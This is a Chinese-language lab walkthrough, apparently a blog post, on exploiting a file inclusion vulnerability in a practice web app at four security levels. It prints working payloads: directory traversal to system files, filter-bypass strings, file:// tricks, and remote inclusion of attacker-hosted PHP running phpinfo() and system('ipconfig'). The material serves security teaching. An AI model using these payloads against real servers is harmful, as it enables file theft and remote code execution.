【文件包含】

首先登录漏洞学习平台,打开命令注入学习部分,地址为(请使用实际实验给到的靶机ip地址):

http://172.16.33.137/web/vulnerabilities/fi/

安全等级:低,将页面安全等级调为低。点击查看源码按钮,可以看到此时后台的实现代码如下:

查看一下其功能,此页面为一些常用的查询功能:点击IP地址查询:

点击系统时间查询:

点击其他信息查询:

可以看到url处,通过page参数分别传入的file1.php,file2.php,file3.php实现了不同的功能。那我们尝试着使用file4.php进行访问(请使用实际实验给到的靶机ip地址):

http://172.16.33.137/web/vulnerabilities/fi/?page=file4.php

果然,通过page参数可以修改包含的文件内容。在后台代码中,可以看到未进行任何的过滤。直接将传输的参数赋值给$file,那我们是否可以尝试包含以下windows(服务器为windows,如果为linux可以尝试包含/etc/passwd)中的其他文件呢?尝试构造以下链接(请使用实际实验给到的靶机ip地址):

http://172.16.33.137/web/vulnerabilities/fi/?page=c:/windows/win.ini

或者使用../的方式来进行目录跳转,可构造payload(请使用实际实验给到的靶机ip地址):

http://172.16.33.137/web/vulnerabilities/fi/?page=../../../../../windows/win.ini

由于包含的文件不是php代码,所以直接显示在了页面中,如果包含的文件为php代码,那代码将会执行。我们可以利用此漏洞去读取一些敏感文件,有些时候还可以通过包含日志的方式来getshell。

当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。

在操作机上创建以下文件,文件后缀随意,比如1.txt,内容为:

<?php

 phpinfo();

 ?>

phpinfo函数是php自带函数,显示的是php服务器环境的配置信息。

在文件目录下,使用python开启web服务:

python -m SimpleHTTPServer 8080

本机ip地址为172.16.33.137,所以访问文件1.txt的url为(请使用实际实验给到的靶机ip地址):

http://172.16.33.137:8080/1.txt

这里需要确保服务器能访问到我们搭建的web服务。

所以我们可以尝试包含这个文件:

http://172.16.33.137/web/vulnerabilities/fi/?page=http://172.16.16.17:8080/1.txt

可以看到phpinfo成功执行了,我们将1.txt的内容修改为:

<?php

 system("ipconfig");

 ?>

再次尝试远程包含

中级。点击查看源码按钮,可以看到此时后台的实现代码如下:

与安全等级为低的代码相比,此时的后台代码添加了str_replace来过滤传入字符串。将http://,https://,../,..\过滤为空,即删除。但是使用这种方式是及其不安全的。比如构造payload:

http://172.16.33.137/web/vulnerabilities/fi/?page=..././..././..././..././..././windows/win.ini 

对于远程包含,可以构造:

http://172.16.33.137/web/vulnerabilities/fi/?page=hthttp://tp://172.16.16.17:8080/1.txt

安全等级:高,将页面安全等级调为高。点击查看源码按钮,可以看到此时后台的实现代码如下:

此时后台代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。看似比较安全,但是我们可以利用file协议绕过防护,继续进行文件包含,构造payload如下:

http://172.16.33.137/web/vulnerabilities/fi/?page=file://c:/windows/win.ini

至于执行任意php代码,需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意代码执行。 如,已知服务器上存在一个c:/1.txt,内容为:

<?php

 phpinfo();

 ?>

那包含的结果为:

http://172.16.33.137/web/vulnerabilities/fi/index.php?page=file://c:/1.txt

将页面安全等级调为安全,安全级别为安全的代码,使用了白名单的方式来进行防护,彻底杜绝了文件包含漏洞。

  • 12
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值